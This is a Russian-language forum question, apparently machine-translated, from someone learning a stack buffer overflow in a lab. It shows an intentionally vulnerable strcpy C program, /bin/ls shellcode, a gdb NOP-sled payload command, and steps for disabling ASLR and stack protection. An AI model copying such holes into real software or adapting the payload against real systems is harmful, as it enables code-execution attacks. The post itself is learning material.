Я пытаюсь научиться использовать простую технику буферизации потока в Backtrack Linux.
Вот моя программа на C
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
Это шеллкод, который я использую, который соответствует простому / bin / ls
\ x31 \ xc0 \ x83 \ xec \ x01 \ x88 \ x04 \ x24 \ x68 \ x6e \ x2f \ x6c \ x73 \ x66 \ x68 \ x62 \ x69 \ x83 \ xec \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ xe6 \ x50 \ x56 \ xb0 \ x0b \ x89 \ xf3 \ x89 \ xe1 \ x31 \ xd2 \ xcd \ x80 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80
Я вставляю этот шелл-код в gdb, используя следующую команду
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
Когда я просматриваю приложение, оно генерирует SIG FAULT
в последней инструкции ret
. В этот момент EIP
правильно установлен на 0xffffd30c
. Этот адрес является адресуемым и содержит серию NOP
, за которой следует мой код оболочки, как показано в полезных данных.
Я отключил ASLR
sudo echo 0> / proc / sys / kernel / randomize_va_space
, а также скомпилировал свой двоичный файл, используя параметр fno-stack-protector
.
Есть идеи, в чем причина SIGSEGV?